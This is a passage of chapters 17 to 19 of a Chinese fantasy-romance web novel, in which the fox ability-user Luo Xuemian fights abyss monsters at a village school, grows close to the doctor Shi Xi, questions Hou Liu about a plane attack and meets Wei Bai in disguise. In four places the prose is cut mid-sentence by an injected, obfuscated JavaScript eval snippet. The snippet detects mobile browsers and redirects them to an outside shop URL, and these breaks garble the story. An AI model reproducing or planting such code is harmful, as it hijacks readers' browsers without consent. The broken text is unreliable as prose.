此消息一传出,便引起社会极大反响,有人赞同,也有人坚决抵制反对。实验体强大的战斗能力和惊人的不死不灭体质,一旦被别有用心的人挑起事端,投入战场,那将会是毁灭性的伤亡,对世界和平也是一个极大的隐患。 最终,反对的浪潮盖过少数赞同的声音,深渊研究所被下令取缔摧毁。 那天,执行此项任务的先锋王牌部队,在安排其他队伍将研究所主要犯罪成员和实验体押送离开后,留在了云边城清理现场,却意外发现——深渊研究所不仅进行了人体改造实验,还秘密饲养了上百头极其危险的深渊怪物作为研究对象。 昏暗的地下实验室里,奇形怪状的深渊怪物们被锁在特制的铁笼中,嘶吼着,挣扎着,凶狠地盯着闯入者。 也是那一天,云边城爆发兽潮动乱,王牌部队除了洛雪眠和因伤未曾参与此次行动的魏白外,全部牺牲,尸骨无存。 时希沉默无言。 车里的空气仿佛凝固,安静得压抑。 沉寂良久,他才轻声开口,“阿狸,我不想瞒你,但现在还不到告诉你的时候。” 洛雪眠神情微微一动,若有所思地端详着时希,心里反复琢磨着这句话的意思。 难道说,他有什么难言之隐? 半晌过后,她仿佛下了某种决心,缓缓吐出了一口气。 “好,不说就不说。”洛雪眠目视着前方,眸光坚定,无所谓地说,“我可以等,等到你愿意告诉我的那一天。” ** 两人赶到希望小学的时候,里面已经乱成了一团,尖叫声,哀嚎声,咆哮声,此起彼伏响起。 洛雪眠神色一凛,几个瞬移便冲进了学校,眼疾手快从一只浑身漆黑、类似蟑螂和甲壳虫混合体的丑陋怪物口中救下了一个被吓得哇哇大哭的小女孩。眼角余光瞥见时希疾步赶到了受伤的女老师身旁,看伤势不像是怪物造成的,而是逃跑过程中不慎摔倒的擦伤。 洛雪眠心里暗暗松了口气,看来他们来得还算及时。普通人受伤后极易被来自深渊的怪物感染,万一异变成新的怪物,那就棘手了。 洛雪眠几个闪身,把怀中的小女孩递给了时希,两人快速交换了一下眼神,仿佛配合了许多次,不需言语便十分默契地知道了对方的下一步行动。 时希组织着学校里的孩子和老师往安全地带撤离,洛雪眠则两指合并,往左手掌心尚未愈合的伤口上轻轻一划,鲜血顿时溢出,异能者的鲜血对深渊怪物有着致命的吸引力,她用自己的血作为诱饵,将黑虫怪物往相反方向引去。 等到把黑虫怪物引到操场,见四周无人,洛雪眠也不再藏着掖着,嘴角浮现一丝冷笑,慢条斯理地活动了一下筋骨,一股无形而磅礴的能量从她身上缓缓溢出。 只见她的身后逐渐浮现了一条狐尾的虚影,紧接着是第二条、第三条…… 待到九条雪白的狐尾全部显现时,强大的威压如有实质,瞬间向四面八方席卷而去,黑虫怪物被震慑得不敢再靠前,仓皇之间便要逃窜出学校,被洛雪眠轻飘飘地一跃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13253973|139747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,拦截在了操场之中。 黑虫怪物警惕地盯着洛雪眠,迟迟不敢上前,似乎在等待着什么。 洛雪眠侧耳聆听,感知到了地面传来的异动,哂笑一声,已经猜到了怪物所想,右手握拳,裹挟着万钧之力的一拳朝地面重重砸去—— 下一瞬,地面四裂开来,一只形似蚯蚓的庞然大物破土而出,倒在地上蠕动挣扎。 “想夹击我,就凭你们这些没长脑子的蠢东西,多修几千年成精了以后再说吧。” 洛雪眠嘲讽着,纵身一跃,手上力度不减,闪身便朝两只怪物袭去。 操场上的树木被强大的气流拦腰折断,洛雪眠的身影快成了虚影,徒手撕开了黑虫怪物坚硬的甲壳,又反手一劈将欲趁乱背后偷袭的蠕虫怪物砍成了两截,绿色腥臭粘液似的鲜血喷涌而出,她闪退避开,嫌恶地捂住了口鼻。 操场不远处响起了一阵掌声,哈里扫视了一眼瘫倒在地上血肉模糊的怪物尸体,随后目光停留在洛雪眠身后尚未完全消散的狐尾上,眼里迸发出浓烈的兴趣,激动地说: “原来你真的是只小狐狸呀,居然真的被我猜中了。” 哈里兴致勃勃地走到洛雪眠面前,跃跃欲试地怂恿道:”哎,小狐狸,你的异能等级是多少?要不我们也来打一架,赢了就让你当老大,怎么样?” 洛雪眠对哈里的邀约完全不感兴趣,丢下一句“无聊”便朝外走去。 哈里也不生气,亦步亦趋跟在洛雪眠身后,一路上都在试图说服她,但奈何洛雪眠压根就不想搭理他,哈里内心很失落,忽然蹲下身待在原地不动了。 耳边的聒噪消失,洛雪眠疑惑地回头,只见哈里正盯着地面上铺着的一张白纸出神,神情古怪,眼睛一动不动。 洛雪眠走近一看,白纸已经破损,上面留了好几个黑脚印,应该是慌乱逃跑时被人踩到的,但依稀可以辨别出白纸上画的内容—— 个子略高些的小女孩牵着一个小男孩的手,看起来应该是姐弟,姐弟两人脸上画了大大的笑脸,脚下是一条小路,小路的尽头通往一个写着“家”的小房子。 洛雪眠不动声色地打量着哈里的表情,想起了福利院初见那天,哈里也是这副失落的神情,手里紧紧抱着一只破旧的玩偶,伤心地说这是他姐姐送给他的。 洛雪眠似乎敏锐地捕捉到了什么,直觉这个“姐姐”或许将是调查哈里真实身份背景的一个突破口。 时希安顿好众人后折返回来,看到洛雪眠安然无恙,悬着的一颗心落下,又察觉两人神色有异,他温声询问:“阿狸,怎么了?” 洛雪眠摇了摇头,正要说话,哈里突然从地上蹿了起来,木着张小脸,捏紧了拳头一声不吭就往外走。 洛雪眠眉头蹙起,见哈里并不是往越野车的方向走,出声喊他:“喂,哈里,你去哪?” 哈里背对着两人摆了摆手,“你们先回去吧,不用管我。” 洛雪眠望着哈里消失的身影,心里升起一阵不安,隐约觉得即将会有什么不好的事情发生。 17. 酸涩 越野车上,洛雪眠一路无言,支着脑袋看向窗外不知道在想些什么。 两个多小时前,熊三和老龟收到哈里的消息过来收拾残局,也许是觉得这里穷乡僻壤消息闭塞,他们压根不担心学校里的师生会告密,就没有伤及其性命,只口头威胁了几句便放了人。 他们俩找了个没人的空地,点了把火将怪物的尸体烧毁后,便返回了秘密基地。 洛雪眠一直留在学校,紧盯着两人的动作,谨防他们灭绝人性要杀人灭口,好在担心的事情并没有发生。 在确认学校里的师生安全无虞后,洛雪眠正要跟时希离开此地,身后忽然传来了一道怯生生的娇柔女声。 “时医生,请等一下。” 洛雪眠诧异地回头,视线投向方才受伤的女老师身上,女老师留了一头乌黑长发,面容清秀,气质温婉随和。 时希也愣了下,他先下意识看了眼洛雪眠,才将目光转向女老师,礼貌问道:“苏老师,有什么事吗?” 洛雪眠抿了抿唇,没想到时希竟然会和这位女老师认识,而且看着很熟的样子。 苏老师脸颊微红,看向时希的神色有些紧张拘谨,犹豫了会儿,才将藏在身后的东西递到他面前。 那是一条浅灰色的围巾,针脚绵密,看得出来织的人很用心。 "时、时医生,快过年了,之前总是麻烦你帮学校里的小朋友看病,这……这个是我,我们送给你的新年礼物。" 苏老师双手将围巾递上,满脸羞赧,紧张得不敢看时希的脸,心脏扑通跳个不停。 时希的视线在围巾上停留,洛雪眠站在他的身后,看不清他此刻的表情,但心里没来由地感到一阵沉闷。她低头踢着脚边的石子,假装自己很忙一点也不在意时希会不会收苏老师的新年礼物。 下一秒,时希温润的声音传来,“谢谢”两个字让洛雪眠的心颤了颤,她难以置信地抬头,眼睁睁地看着时希伸手接过了苏老师手中的围巾,嘴角挂着清浅的笑意。 “……”洛雪眠的内心像是打翻了调味剂,五味杂陈,又酸又涩,她别开了眼睛,不愿再看。 苏老师见时希接过了自己精心准备的礼物,欣喜不已,但等她听完时希接下来的话,嘴角的笑容却僵在了脸上。 “苏老师,谢谢你的礼物,你的好意我心领了,但治病救人本就是我的分内之事,这份礼物我受之有愧。” 时希说着,视线转向站在苏老师身后的小朋友们,轻声唤了其中一个小孩子的名字,“小豆,帮我一个忙。” 小豆原本是班里最调皮捣蛋的小男孩,有一次淘气爬树摔断了腿,要不是时希耐心细致地给他治疗,每隔一段时间按时过来复诊换药,他就成瘸子了。 听见时希喊他,小豆立马从孩子堆里挤出去,心花怒放跑到时希跟前,仰头脆生生地问:“时哥哥,需要我帮什么忙?” 时希半蹲下身,视线与小豆平视,把手中的围巾交给小男孩,柔声说:“小豆,苏老师平时教你们读书识字很辛苦,为了表示感谢,你把这个围巾给苏老师戴上吧。” “嗯嗯!”小豆连连点头,听话地接过围巾,一路小跑到苏老师面前,脸上扬起开心的笑容,大声说:“苏老师,您辛苦了,我们班的同学都很喜欢您,可以让我帮您把围巾戴上吗?” 苏老师怔怔地望着时希,见时希起身后只是对自己礼节性地点了下头致谢,便朝不远处的女孩走去,她的眸光倏地变得黯淡,心里难掩失落和沮丧,但还是勉强扯出一抹笑,蹲下身让小男孩帮自己戴上围巾。 洛雪眠见时希拒绝了苏老师后朝自己走过来,有些错愕,一时之间不知道该说点什么。 时希冲她微微一笑,忽然瞥到她左手上伤势加重的伤口,眼里闪过一抹疼惜,无奈地上前执起她的手,从口袋里掏出一块干净的丝帕将伤口轻柔裹缠好,低声说:“我们走吧。” 洛雪眠盯着手上的丝帕愣了几秒,点了点头,临走前忍不住回头看了眼,却意外与苏老师依依不舍的目光相撞。 苏老师不自然地收回视线,眼眶酸涩发热,她知道,有些东西,尤其是感情,强求不得。 “苏老师,您怎么了?”小豆疑惑地望着她,不明白她为什么这么难过。 苏老师摇了摇头,轻轻抱住了小男孩,将自己的脆弱在怀抱中掩埋。良久,像是终于释然了般,轻声说:“小豆,谢谢你,老师很高兴。” ** 洛雪眠坐在副驾驶位置上,想起刚才和苏老师对视的那最后一眼,心里万般不是滋味。 她忍不住偷偷瞟了几眼时希。 时希目视前方,细碎的“阳光”透过叶缝倾洒在他精致俊逸的眉眼上,面容沉静若水,肌肤细腻如瓷,完美得挑不出一丝瑕疵,侧脸轮廓在窗外光影的映衬下,美得惊心动魄。 洛雪眠的视线沿着时希英挺的鼻梁下移,在饱满的薄唇上停留了几秒,随后一路沿伸至微敞衣领下的喉结处。 良久过后,她讪讪收回目光,摸着鼻子面红耳赤,心里直骂自己是个女流氓。 不过也能理解,这样的一张脸,不管走到哪里都会成为瞩目的焦点,有人迷恋也很正常。 洛雪眠感同身受,想明白后,心里那点别扭顿时烟消云散。 时希将洛雪眠的小动作尽收眼底,觉得无奈又好笑,但心底里涌现的却是被在意被关注的欣喜。 “阿狸,你没有什么想问我的吗?”他状似不经意地问道。 “嗯?”洛雪眠回过神来,有点懵,疑惑道:"问什么?" 时希哑然失笑,沉吟片刻,轻声解释:“我之前空闲的时候会到这边来给小朋友们上科学实验课,和苏老师算不上熟识。” 洛雪眠却关注错了重点,“空闲的时候”这几个字引起了她的注意。 也就是说,时希之前经常外出,就是到这里进行深渊怪物的危险性实验研究,偶尔空闲的时候会到希望小学上实验课。 得知这一点,洛雪眠心里开始担忧,万一哈里这帮人研究深渊怪物的目的是为了危害社会,那作为实验负责人的时希,到时肯定也脱不了干系。 将时希拉到我方阵营的念头再次在心里盘旋,洛雪眠摩挲着下巴,开始盘算着要在什么时机提比较合适。 但当务之急 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13253974|139747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,还是得先想办法把秘密基地的事告知魏白,让他们早做准备。 两人回到了地下室,当洛雪眠被时希带着走到一处房门口时,她整个人都傻眼了。 这、这不是时希的房间吗?! 洛雪眠不明所以,呆呆望着眼前的房门,却见时希已经打开了房门,轻声唤她进去。 洛雪眠心里咯噔一声,有些担心自己会把持不住。 但最后她还是抬脚进了门。 时希房间的布局跟洛雪眠的房间差不多,干净整洁得一尘不染。洛雪眠打量着房间,时希从储物柜里翻出了一些伤药,喊她在办公桌旁坐下,随后便动作轻柔地将裹缠在她左手上暂时止血的丝帕拆下,重新上药包扎伤口。 “你不怪我吗?”洛雪眠盯着时希,不知怎么的,鬼使神差地问了这么一个奇怪的问题。 时希包扎伤口的动作微顿,抬头注视着她,眸光温和,笑问:“怪你什么?” 洛雪眠沉吟须臾,抬了抬下颌,视线看向被细心对待的伤口,闷闷地说:“没有听从医嘱,又连累你帮我包扎。” 时希闻言怔了下,随即展颜一笑,眸底蕴含着化不开的温柔,“阿狸,我怎么会怪你呢?事出有因,你也是为了救人。” 阿狸,不管你做什么,我都不会怪你。 四目对视,洛雪眠不由得屏息,几乎快要溺毙在时希那双浅棕色眼眸中。 房间里寂静了下来,门外忽然传来了不轻不重的敲门声,时希起身去开门,洛雪眠得到解救般,呼了口气。 她的目光越过时希看到了站在门口有些局促的侯六。 “时医生,我……”侯六声音顿了下,显然没有料到洛雪眠会出现在这里,眼里闪过一丝讶异。 他抬头看向身前的人,见时希神色自若,从容镇定,便不动声色将心中的疑惑隐藏,继续说道:“我母亲做了核桃酥,让我带些给你,算作谢礼。” 时希嘴角含笑,没有拒绝,伸手接过侯六手中精心包装好的核桃酥,礼貌道谢,又询问了几句侯六母亲的身体状况后,回头对洛雪眠招手,说:“阿狸,饿不饿?这里有核桃酥。” 侯六:“……” ** 阴暗潮湿的走廊上,洛雪眠嘴里嚼着核桃酥,声音含糊不清地夸赞道:“侯六,你麻麻做的核桃酥真好次。” 侯六睨了她一眼,没好气地说:“你吃完再跟我说话。” 几分钟后,洛雪眠风卷残云地将整盒的核桃酥都消灭掉,优雅地拍了拍手上的碎屑,心满意足正要回厨房,却被侯六叫住。 “等等,我有事问你。” 洛雪眠回头看向侯六,奇怪他能有什么事要问自己。 侯六有点不自在,犹豫了下,还是把心中的疑问说了出来:“你……你怎么会,出现在……时医生的房间里?” 洛雪眠挑了挑眉,恍然大悟:“哦……原来是这个事呀。” “那当然是因为……” 她笑得狡黠,嘴角翘起,露出一颗小尖牙,煞有其事地说:“我们要做点成年人该做的事咯,说了你也不懂。” “……” 18. 苦衷 侯六沉默了会儿,看在洛雪眠曾经在监狱里救过自己的份上,好心提醒:“时医生是深渊研究所那边安排过来的人,你和他相处还是注意些比较好。” “……注意?注意什么?”洛雪眠抱着胳膊,歪头哼笑,不以为意道:“这俗话说得好,男大当婚,女大当嫁,我们两个呢,一个未娶,一个未嫁,郎才女貌,天造地设,有什么好注意的?自由恋爱懂不懂,少年。” “……”侯六深吸口气,意识到自己完全是在对牛弹琴,也不再废话,转身便要离开,却被洛雪眠拦下。 “哎——别急着走呀。”洛雪眠一个闪身,挡在了侯六身前。 侯六眉心微蹙,不明所以问她:“你干嘛?” 洛雪眠警惕地扫视了一眼四周,确认没有旁人后,才慢悠悠开口:“礼尚往来,你刚问了我一个问题,我已经回答了,现在,我也有一个问题想问你。” 侯六疑惑,“你想问什么?” 洛雪眠的神色难得正经了几分,她问:“你干了什么被抓进的国际监狱?” 侯六讶异挑眉,看向洛雪眠的目光多了几分探究和防备。 “你怎么突然想起问这个?” “没什么,”洛雪眠随意扯了个理由,“就是有些好奇,这里这么多人,怎么偏偏就你倒霉地进了监狱?” 侯六抿唇,几番思量犹豫过后,还是将实情说出:“一个多月前,深渊研究所那边派了人过来传消息,之后老大便让福七蛇四他们几个劫了一架飞机,目标是彩虹市的天子大楼。” 洛雪眠追问:“什么消息?” 侯六摇头,“这个我也不清楚,只知道老大劫机撞楼的目的似乎是要销毁掉什么东西。” 侯六的说法与当日司无枫所说倒是基本吻合。 “那你是怎么被抓的?”洛雪眠继续问。 侯六的脸掩映在阴影里,回想起了那天的惨烈,神情有些动容,低声说:“当时现场很混乱,整栋大楼都被撞成了废墟,我的异能可以听声辨位,所以老大让我留在废墟里找东西,没来得及撤离就被抓了。” “找什么东西?”洛雪眠的神情忽然变得紧张,一眨不眨地盯着侯六,心里某个答案已经呼之欲出。 “活人。”侯六说。 果然…… 洛雪眠面沉如水,这些日子以来一直笼罩在眼前的迷雾终于被拨开,之前觉得蹊跷的地方也有了解释,但她却没有表现出任何的喜悦,反而沉默了下来,紧接着心里升腾起一股被戏耍的怒火。 司无枫这只老狐狸果然瞒骗了她。 侯六一直留意着洛雪眠的反应,察觉到她的情绪变化,狐疑地问道:“你看起来一点也不惊讶?” “惊讶什么?”洛雪眠收起眼底的情绪,揣着明白装糊涂。 侯六垂在身侧的手不自觉蜷了起来,黑白分明的眼睛注视着她,笃定地说:“你似乎知道我当时看到了什么。” 那天,侯六按照哈里的吩咐,施展异能寻找废墟之下还活着的人。当时他便觉得奇怪,这么严重的火灾和坍塌事故怎么可能还有幸存者。然而万万没有想到,竟然真的让他感知到了废墟之下存在生命迹象。 侯六站在废墟之上,凝神细听,惊讶地发现,底下传来的呼吸心跳声竟然还不止一个,而是十几个甚至更多。 正当他要告知哈里这边的情况,国际刑警已经赶到了现场,将现场围得水泄不通。五六只高大凶猛的警犬扑在废墟里搜寻,随着深埋于废墟之下的幸存者被逐一挖出。 躲在别处的侯六,目光陡然定住,惊愕地看着眼前的一幕——数十个毫发无损,生命体征明显的男女静静平躺于担架之上,与一旁被挖掘出来已经烧成黑炭,面目全非的其他幸存者形成鲜明对比。 侯六意识到事情的不对劲,正要悄声离开,却被警队中一个身材高大精悍,肤色黝黑,警衔不低的男人发现。男人右手虚空一握,不待他反应,一条紫色雷电凝聚而成的电鞭便将他捆了个严严实实,之后他便被带到国际监狱关押了起来。 “你知道那些是什么,对吗?”良久,侯六缓缓道。 洛雪眠轻笑一声,不置可否。 她望着侯六,眼前的少年眉目纯澈无害,不知道在想些什么。半晌,她才轻声问道:“侯六,呆在这里并非你的本意吧。” 侯六愣了下,听洛雪眠继续说:“那天会议室里的中年男人是你父亲吧,他拿你的母亲来威胁你留在这里,是吗?” 侯六垂下眼睫,默然不语,只是拳头倏然握紧,青筋凸显,像是在极力隐忍着什么。 洛雪眠叹了口气,拍了下少年的肩膀,擦身而过的时候侯六突然开口发问。 “你呢?你真的是自愿留下来的吗?还是说——”侯六盯着她的眼睛,一字一顿地说,“你有什么别的目的?” 洛雪眠的脚步一顿,再回头的时候,脸上已经换上了平时那副嬉皮笑脸,对一切都毫不在乎的的表情,自嘲道: “目的?我一个被判定了终生监禁,对这个社会一无是处的阶下囚,能有什么目的?别把我想得太高尚了,国际监狱也好这里也罢,对我来说,不过是换了个地方躺平摆烂,然后继续当个没用的废物而已。” 侯六皱眉,洛雪眠不管怎么看,都不像是会说出这种自暴自弃的话的人。 她到底经历了什么?竟然如此轻视自己。 然而洛雪眠没有给侯六追问的机会,径直离开了原地。 ** 深夜,洛雪眠辗转反侧,各种思绪涌上心头,烦躁不堪。她双眼无神地盯着天花板,试图把自己混沌杂乱的大脑放空。 时希帮她处理好伤口后便去了实验室,至今都没有回来的迹象。 洛雪眠无聊地抬起左手,在黑暗中打量着被精心包扎的伤口,眸光闪烁,心里最柔软的地方不经意间被触动。 说来可笑,自从三年前那场惨烈的事故发生后,她成为了众矢之的,已经很久没有被人如此珍视对待了。 就连昔日最好的伙伴魏白,如今也离了心,不复当初。 洛雪眠呼出了一口气, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13255445|139747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 强迫自己不要再沉浸在过往的回忆中。在数羊数到1008只的时候,她终于有了点朦胧的睡意,慢慢合上了眼皮。 …… 一夜无梦,洛雪眠起了个大早,准备去小厨房做早饭。 还没进门,她就闻到了从小厨房里飘出来的饭菜香味。 洛雪眠心中惊奇,推开门,却意外地看到了时希。 时希正将一碟喷香的牛排端上桌,听到门口的动静,抬眸一笑。 洛雪眠怔怔地望着时希,头顶的白炽灯微光投射在他的身上,使得他周身笼罩了一层朦胧的光,令周围的一切都黯淡失色。 洛雪眠足足在门口逗留了两分钟,才确认自己不是睡糊涂了还在做白日梦。 时希见洛雪眠站在门口发呆,迟迟未进来,笑着喊她:“阿狸,快过来吃早餐,一会儿我们还要出门。” “出门?”洛雪眠讶异挑眉,在饭桌旁落座,“怎么这么突然,出什么事了吗?” 时希给洛雪眠盛了一碗汤,温声提醒她:“阿狸,你忘了今天是什么日子吗?” 洛雪眠喝了一口汤,鲜美的味道在味蕾绽放,不由得眯起了眼睛,一脸享受,随后才疑惑地看向时希:“什么日子?你过生日?” 时希失笑摇头,“阿狸,今天是旧年最后一天。” “哦……”洛雪眠恍然大悟,“原来是跨年夜呀,可是这跟出门有什么关系?” 时希拉开椅子,在旁边坐下,动作优雅地将盘里的牛排切好,推到洛雪眠面前,笑道: “快过年了,地下室最近物资短缺,哈里之前交代过让我们有空出去采买,正好今天摆摊的商贩会比平时要多些,我们去街上转转,看有没有需要买的,之前一直听说不夜城的跨年夜很热闹,阿狸,你不想去看看吗?” 洛雪眠有些心动,略微思索,觉得今天的出行还是很有必要的。 哈里至今未回,她心里总是隐隐不安,加上秘密基地的存在始终是个隐患,她得找机会跟魏白碰面,把消息传递出去。 洛雪眠和时希吃过早饭,便动身离开了地下室。 两人从传送电梯里出来,还是之前那座带庭院的小洋楼,只是出了院门之后,身后景物发生了变化,变成了一间关着门的民宿。 洛雪眠环顾四周,眼前的街道宽阔平整,热闹非凡,行人络绎不绝,吆喝声此起彼伏。 看来这次的传送地点并不是南区的贫民窟,而是北区的富人区。 时希带着洛雪眠在街上挑选物品,洛雪眠对于逛街并没有多大的兴致,神情懒散跟着时希的身后。 两人逛了一整天,手上大包小包拎了不少东西。头顶的光影转换灯随着时间的推移开始变得黯淡,夜幕降临,街道上的行人不减反增,变得更加拥挤。 洛雪眠蹙眉躲避着汹涌的人群,不过眨眼的功夫,时希的身影便被人流吞没,不见踪影。洛雪眠找人心切,没留意身旁经过的一支表演队伍。 猝然间,一只冰凉的手抓住了她的手腕,将她拽入了隐蔽的黑暗中。 19. 基地一枝花 洛雪眠由于太过惊愕震撼,以至于忘记礼貌询问身旁兴奋嗨皮异常的中年大叔,能否把他手里咔嚓拍个不停的相机借给她用一下,因为她真的特别需要把这千载难逢的大型名场面给记录下来。 原因无他,就两个字,难得。 实在是太难得了。 在洛雪眠的印象里,让魏白穿女装这件事,难度无异于人类登陆火星,某国足球运动员在世界赛事上夺冠。 当年在军事基地,化妆侦察课是每个特战队员必备的一项侦察技能,但向来各项成绩优异的魏白却总是在这门课上惨遭滑铁卢。 只因为魏白此人,是个十分传统的、妥妥的、钢铁大直男。 彼时正当年少,军事基地的训练场上,烈日灼灼,蝉鸣悠长。 众目睽睽之下,魏白宁死不屈,梗着脖子目视前方,将一旁的高跟鞋、大波浪卷发、黑色丝袜,JK短裙等伪装道具视作洪水猛兽,唯恐避之不及,不管授课的教官如何好说歹说,威逼利诱也拿他没办法。 而洛雪眠当时年纪尚小,十六岁的小姑娘稚气未脱,扮起男孩子那叫一个得心应手。 一身简易宽松背带裤,脑袋上倒扣一顶鸭舌帽,嘴里咬根棒棒糖,一个青春洋溢天真烂漫的小男生便闪亮登场,简直萌翻了在场一众大老爷子们的心,恨不得把压箱底私藏的糖果都掏出来捧到人家小孩面前。 当然,毋庸置疑,其实这些人最想看到的,还是魏白的易容变装。 毕竟,魏白当年的模样与现在那可完全是判若两人。 那时候的他顶着一张足以颠倒众生的皮相,在军区这种男人扎堆,女人彪悍如虎的地方,名副其实得了个“基地一枝花”的美称,甚至一度成为基地那帮女汉子眼中的假想敌NO.1。 至于这个称呼怎么来的,洛雪眠也不太清楚,小姑娘对于美丑的分辨还远没有如今这么清晰明了。 只知道当年每个从魏白身边经过的人,不论男女,都会心跳加速脸颊一红,遮遮掩掩含羞带怯不敢直视。而魏白却截然相反,往往这个时候,他都是面无表情冷若冰霜,甚至咬牙切齿,怒目而视。 洛雪眠刚进王牌部队的时候,因为年纪太小,被信誓旦旦承诺一定要把她培养成国之栋梁的队长老戎丢给了大冤种魏白照顾。 她第一次见到魏白,是在射击训练场上。 彼时傲娇桀骜的少年对于自己被委以重任去照顾一个小丫头片子这件事表示一百个不情愿,对待洛雪眠的态度更是恶劣,直接将小姑娘晾在一边,旁若无人兀自练着手里的高精狙击枪。 小姑娘初来乍到,面对冷落也毫不在意,安静待在一旁看着魏白打狙。 训练场上的射击靶都是高速移动靶,移动轨迹并不固定,更没有规律可言。 烈日下,魏白额角渗出细密的汗水,全神贯注瞄准远处令人眼花缭乱的靶子,砰砰砰连发十枪,八枚子弹击中靶心,一枚脱靶,一枚命中九环。在人才济济的军事基地,这样的成绩已经属于佼佼者。 当魏白洋洋得意想向身后唯一的观众炫耀自己优异的狙击天赋的时候,谁知小姑娘皱着细眉摇头,眼神不屑一顾。 这可把魏白气得不轻,他将手里的狙击枪丢给洛雪眠,扬言只要她能打中靶子,就勉为其难听从安排带带她这个不知天高地厚的小姑娘。 洛雪眠盯着手里的狙击枪,也不废话,动作干脆利落,咔哒一声子弹上膛,砰砰砰一梭子弹连发。魏白眯眼,定睛一看,好家伙,十枚子弹竟然全部命中靶心。 从那天开始,魏白身后多了条小尾巴,走哪都带着。很快,懵懂无知的洛雪眠便成为了那帮迷恋魏白的狂热分子心目中的便宜信鸽。 当洛雪眠将一沓粉色信封递给魏白的时候,魏白的脸色由白转红,接着由青转黑,最后恨铁不成钢,恼羞成怒将这些肉麻的信纸撕成粉碎,并且连人带废纸一起丢了出去。 洛雪眠满腹委屈,跑到老不正经的队长老戎跟前寻求答案。 她不明白,魏白脾气这么臭,为什么还这么受欢迎。 老戎嘴里叼着根烟,翘着二郎腿,大剌剌坐在露天的小土丘上,用满是怜爱和关怀的眼神望着这个对世界认知少得可怜的小姑娘,严重怀疑洛雪眠是不是从哪个贫穷落后的山村旮旯里逃难出来,居然连什么是GAY都不知道。 奈何小姑娘的眼睛纯洁干净得不可思议,老戎内心满是罪恶感,心里念着阿弥陀佛,不忍心将实情相告,只告诉了小姑娘一个扎心的事实。 这是一个看脸吃饭的世界。 也许是被老戎这不靠谱的家伙带坏了,此后数年,洛雪眠不负众望成长为了一个三观跟着五官跑的颜控。 往事历历在目,若是当年军事基地那帮人看到此刻魏白为了完成国际警署的接头任务,穿上了他们朝思暮想的女装,恐怕会闪瞎他们那双钛合金狗眼。 表演队伍的街头表演已接近尾声,魏白给洛雪眠使了个眼色。 洛雪眠心领神会,趁着周围人声嘈杂,隐退到了不远处的暗墙边。 魏白悄无声息地从人群中脱身,一个闪身来到了洛雪眠身边。 “出什么事了?”洛雪眠问道。 以她对魏白的了解,如果不是出了非常紧急的事情,魏白是不可能如此豁得出去把自己打扮成这样招摇过市的。 “你看一下这个。”魏白确认四下无人注意后,从口袋里掏出了手机,点开了一个无声视频。 视频的画面很黑,应该是某处地方的监控。 空荡昏暗的大街上,几辆黑色轿车护送着一辆拉法紧急停在了一栋豪华别墅前,车里呼啦钻出来十来个体型彪悍的黑衣保镖,这些保镖个个训练有素,神情警惕地防备四周,小心翼翼将一个大腹便便的秃头富商护送进了别墅。 还没进门,这帮人不知道是听到了什么或者看到了什么,神色陡然变得惊骇,目光齐齐望向别墅露天阳台处。 晦暗的光线下,一个矮小的黑影悠哉地晃荡着双腿,似乎已经在那里等候多时,望着地下的这群人,眼底闪烁着冰冷的光。 监控是在远处拍的,隔得太远,听不到说话的声音,也看不清画面中的人脸。 在发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13282997|139747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现入侵者后,在场的保镖立马举起手中的枪,黑压压的枪口一致对准了阳台。可不知怎的,只见黑影不慌不忙抬手打了个响指,现场忽然变得混乱不堪,那十来个黑衣保镖不知中了什么邪,先是倒在地上抱头痛苦哀嚎,徒留富商一个人呆愕地站在原地。 紧接着,还不待富商反应,地上的保镖双目变得猩红,翻身而起,手指化为利爪,犹如鬼魅般扑向满脸惊惧的富商…… 即使不在现场,洛雪眠也能想象到当时的场景有多血腥——十几个丧失理智的保镖将秃头富商团团围住,伴随着凄厉绝望的哀嚎,争先恐后将其生吞活剥…… 视频的最后,阳台上的黑影好整以暇地俯视着地下惨绝人寰的一幕,嘴角泛起冷笑,洛雪眠借着微弱的光线,终于看清了那个隐在黑暗里的人到底是谁—— 竟然是从昨天起就消失不见的哈里! 